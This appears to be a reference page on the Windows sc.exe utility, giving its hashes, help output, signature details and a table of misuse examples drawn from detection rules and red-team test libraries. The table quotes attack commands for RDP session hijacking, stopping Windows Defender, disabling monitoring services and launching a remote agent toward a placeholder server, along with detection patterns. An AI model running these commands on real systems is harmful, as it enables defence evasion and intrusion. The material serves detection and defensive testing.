sc.exe

  • File Path: C:\Windows\system32\sc.exe
  • Description: Service Control Manager Configuration Tool

Hashes

Type Hash
MD5 BD31EB150F6547D18329E5F00801D1CD
SHA1 8F8DBD13DEE01E3DBECEA052489F924DE5FB869B
SHA256 8A775B86CE1A057E290CCD26C59C96070684468A3119790743A346CD54F4DFDF
SHA384 56E29DA4EF532389B3F7E29B8C5F5F434FE49FBCB99FDC61189945B39529367D1ABFC7B2A03E771742B087FA38DFF657
SHA512 21135140B47BE37891B483ADCD631AC3B8E49F644579EA490C28A6A6AFD21BE4A9B3BC95667DB4EDF37C8EF1D7BA97CE1188454D2246B72E22146DD736B3D4EC
SSDEEP 1536:FE12QL2b3tqEjs4bRYw6eVEPXPb5W9JaAq9dgy7:FlQaC+VEfPb5W9JPq/gk

Runtime Data

Usage (stdout):


ERROR:  Unrecognized command

DESCRIPTION:
        SC is a command line program used for communicating with the
        Service Control Manager and services.
USAGE:
        sc <server> [command] [service name] <option1> <option2>...


        The option <server> has the form "\\ServerName"
        Further help on commands can be obtained by typing: "sc [command]"
        Commands:
          query-----------Queries the status for a service, or
                          enumerates the status for types of services.
          queryex---------Queries the extended status for a service, or
                          enumerates the status for types of services.
          start-----------Starts a service.
          pause-----------Sends a PAUSE control request to a service.
          interrogate-----Sends an INTERROGATE control request to a service.
          continue--------Sends a CONTINUE control request to a service.
          stop------------Sends a STOP request to a service.
          config----------Changes the configuration of a service (persistent).
          description-----Changes the description of a service.
          failure---------Changes the actions taken by a service upon failure.
          failureflag-----Changes the failure actions flag of a service.
          sidtype---------Changes the service SID type of a service.
          privs-----------Changes the required privileges of a service.
          managedaccount--Changes the service to mark the service account 
                          password as managed by LSA.
          qc--------------Queries the configuration information for a service.
          qdescription----Queries the description for a service.
          qfailure--------Queries the actions taken by a service upon failure.
          qfailureflag----Queries the failure actions flag of a service.
          qsidtype--------Queries the service SID type of a service.
          qprivs----------Queries the required privileges of a service.
          qtriggerinfo----Queries the trigger parameters of a service.
          qpreferrednode--Queries the preferred NUMA node of a service.
          qmanagedaccount-Queries whether a services uses an account with a 
                          password managed by LSA.
          qprotection-----Queries the process protection level of a service.
          quserservice----Queries for a local instance of a user service template.
          delete----------Deletes a service (from the registry).
          create----------Creates a service. (adds it to the registry).
          control---------Sends a control to a service.
          sdshow----------Displays a service's security descriptor.
          sdset-----------Sets a service's security descriptor.
          showsid---------Displays the service SID string corresponding to an arbitrary name.
          triggerinfo-----Configures the trigger parameters of a service.
          preferrednode---Sets the preferred NUMA node of a service.
          GetDisplayName--Gets the DisplayName for a service.
          GetKeyName------Gets the ServiceKeyName for a service.
          EnumDepend------Enumerates Service Dependencies.

        The following commands don't require a service name:
        sc <server> <command> <option>
          boot------------(ok | bad) Indicates whether the last boot should
                          be saved as the last-known-good boot configuration
          Lock------------Locks the Service Database
          QueryLock-------Queries the LockStatus for the SCManager Database
EXAMPLE:
        sc start MyService


QUERY and QUERYEX OPTIONS:
        If the query command is followed by a service name, the status
        for that service is returned.  Further options do not apply in
        this case.  If the query command is followed by nothing or one of
        the options listed below, the services are enumerated.
    type=    Type of services to enumerate (driver, service, userservice, all)
             (default = service)
    state=   State of services to enumerate (inactive, all)
             (default = active)
    bufsize= The size (in bytes) of the enumeration buffer
             (default = 4096)
    ri=      The resume index number at which to begin the enumeration
             (default = 0)
    group=   Service group to enumerate
             (default = all groups)

SYNTAX EXAMPLES
sc query                - Enumerates status for active services & drivers
sc query eventlog       - Displays status for the eventlog service
sc queryex eventlog     - Displays extended status for the eventlog service
sc query type= driver   - Enumerates only active drivers
sc query type= service  - Enumerates only Win32 services
sc query state= all     - Enumerates all services & drivers
sc query bufsize= 50    - Enumerates with a 50 byte buffer
sc query ri= 14         - Enumerates with resume index = 14
sc queryex group= ""    - Enumerates active services not in a group
sc query type= interact - Enumerates all interactive services
sc query type= driver group= NDIS     - Enumerates all NDIS drivers

Child Processes:

RdpSa.exe

Signature

  • Status: Signature verified.
  • Serial: 33000000BCE120FDD27CC8EE930000000000BC
  • Thumbprint: E85459B23C232DB3CB94C7A56D47678F58E8E51E
  • Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename: sc.exe.mui
  • Product Name: Microsoft Windows Operating System
  • Company Name: Microsoft Corporation
  • File Version: 10.0.14393.0 (rs1_release.160715-1616)
  • Product Version: 10.0.14393.0
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.

Possible Misuse

The following table contains possible examples of sc.exe being misused. While sc.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma image_load_suspicious_dbghelp_dbgcore_load.yml - '\sc.exe' DRL 1.0
sigma proc_creation_win_multiple_suspicious_cli.yml - sc.exe DRL 1.0
sigma proc_creation_win_new_service_creation.yml - Image\|endswith: '\sc.exe' DRL 1.0
sigma proc_creation_win_service_stop.yml - '\sc.exe' DRL 1.0
sigma proc_creation_win_susp_recon.yml - '\sc.exe' DRL 1.0
sigma proc_creation_win_susp_service_dacl_modification.yml - '\sc.exe' DRL 1.0
sigma proc_creation_win_susp_service_path_modification.yml Image\|endswith: '\sc.exe' DRL 1.0
sigma proc_creation_win_susp_spoolsv_child_processes.yml - \sc.exe DRL 1.0
sigma proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml description: Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand DRL 1.0
sigma proc_creation_win_using_sc_to_change_sevice_image_path_by_non_admin.yml Image\|endswith: '\sc.exe' DRL 1.0
sigma proc_creation_win_using_sc_to_hide_sevices.yml description: Detection of sc.exe utility adding a new service with special permission which hides that service. DRL 1.0
sigma proc_creation_win_using_sc_to_hide_sevices.yml Image\|endswith: '\sc.exe' DRL 1.0
LOLBAS Sc.yml Name: Sc.exe  
LOLBAS Sc.yml - Path: C:\Windows\System32\sc.exe  
LOLBAS Sc.yml - Path: C:\Windows\SysWOW64\sc.exe  
malware-ioc misp-badiis.json "description": "Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals)\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.", © ESET 2014-2018
atomic-red-team T1489.md Stops a specified service using the sc.exe command. Upon execution, if the spooler service was running infomration will be displayed saying MIT License. © 2018 Red Canary
atomic-red-team T1489.md sc.exe stop #{service_name} MIT License. © 2018 Red Canary
atomic-red-team T1489.md sc.exe start #{service_name} >nul 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md <blockquote>Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service’s executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg. MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md Upon successful execution, powershell will download AtomicService.exe from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout. MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md sc.exe create #{service_name} binPath= #{binary_path} MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md sc.exe start #{service_name} MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md sc.exe stop #{service_name} >nul 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md sc.exe delete #{service_name} >nul 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1543.003.md sc.exe delete W64Time MIT License. © 2018 Red Canary
atomic-red-team T1562.001.md if(sc.exe query sysmon | findstr sysmon) { exit 0 } else { exit 1 } MIT License. © 2018 Red Canary
atomic-red-team T1562.001.md sc.exe config #{service_name} start= disabled MIT License. © 2018 Red Canary
atomic-red-team T1562.001.md sc.exe config #{service_name} start= auto >nul 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1563.002.md sc.exe create sesshijack binpath= “cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}” MIT License. © 2018 Red Canary
atomic-red-team T1563.002.md sc.exe delete sesshijack >nul 2>&1 MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md <blockquote>Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and Net. MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md Upon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file art-marker.txt MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md sc.exe create #{service_name} binPath= “#{executable_command}” MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md sc.exe start #{service_name} MIT License. © 2018 Red Canary
atomic-red-team T1569.002.md sc.exe delete #{service_name} MIT License. © 2018 Red Canary
atomic-red-team T1574.011.md <blockquote>Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: Registry Key Security) MIT License. © 2018 Red Canary
atomic-red-team T1574.011.md sc.exe delete #{weak_service_name} MIT License. © 2018 Red Canary
atomic-red-team T1574.011.md sc.exe create #{weak_service_name} binpath= “#{weak_service_path}” MIT License. © 2018 Red Canary
atomic-red-team T1588.002.md #{local_folder}#{local_executable} /EXEFilename “C:\Windows\System32\sc.exe” /WindowState 0 /CommandLine “stop WinDefend” /StartDirectory “” /RunAs 8 /Run MIT License. © 2018 Red Canary
signature-base crime_ransom_robinhood.yar $s4 = “sc.exe stop SQLAgent$SQLEXPRESS” nocase CC BY-NC 4.0
signature-base gen_empire.yar $s1 = “$Result = sc.exe config $($TargetService.Name) binPath= $OriginalPath” fullword ascii CC BY-NC 4.0
signature-base gen_empire.yar $s2 = “$Result = sc.exe pause $($TargetService.Name)” fullword ascii CC BY-NC 4.0
stockpile 95727b87-175c-4a69-8c7a-a5d82746a753.yml sc.exe \\#{remote.host.fqdn} stop sandsvc; Apache-2.0
stockpile 95727b87-175c-4a69-8c7a-a5d82746a753.yml sc.exe \\#{remote.host.fqdn} delete sandsvc /f; Apache-2.0
stockpile 95727b87-175c-4a69-8c7a-a5d82746a753.yml sc.exe \\#{remote.host.fqdn} create sandsvc start= demand error= ignore binpath= "cmd /c start C:\Users\Public\s4ndc4t.exe -server #{server} -v -originLinkID #{origin_link_id}" displayname= "Sandcat Execution"; Apache-2.0
stockpile 95727b87-175c-4a69-8c7a-a5d82746a753.yml sc.exe \\#{remote.host.fqdn} start sandsvc; Apache-2.0

MIT License. Copyright (c) 2020-2021 Strontic.